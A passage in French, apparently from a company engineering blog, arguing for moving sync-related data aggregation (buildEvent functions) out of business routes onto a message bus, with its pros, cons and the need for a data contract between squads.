L’enjeu ici est de ne pas polluer le cas d’utilisation d’une route métier avec l’agrégation de donnée qui serait un enjeu non fonctionnel, juste une spécificité de nos outils de sync.
Avantages :
Possible de retrouver un cas d’utilisation simple débarassé des fonctions buildEvent (qui ne seront pas dans le même fichier).
On évite les appels de nos app vers Georges et les appels API qui partent dans tous les sens et qui sont dur à monitorer.
Désavantages :
Un peu plus de discipline dans le code de l’émetteur . On veut éviter que la fonction de
buildEvent
, celle qui va aggréger des données métiers nécessaires à nos outils mais non nécessaires au cas d’utilisation soit dans la route de ce dernier. Ceci peut être accompli avec des évènements internes et un pattern Observer (voir futur billet de blog).Conclusion
Je peux avoir des squads spécialisées sur le produit comptable qui n’ont pas connaissance des outils internes de la boîte !
Je peux avoir des squads spécialisées sur la maintenance de nos outils internes sans connaissance sur le produit comptable au-delà des données qui les intéressent (celle qui transitent sur le BUS).
L’enjeu, ici, est désormais de définir et respecter un contrat de données qui va passer sur le BUS. Cela peut être le rôle du CTO (qui est inter-squads), d’une personne de l’équipe data, d’un OPS. Le rôle étant de faire respecter ce contrat et vérifier la cohérence des données qui passent sur le BUS, (c’est-à-dire donner la spécification des buildEvents).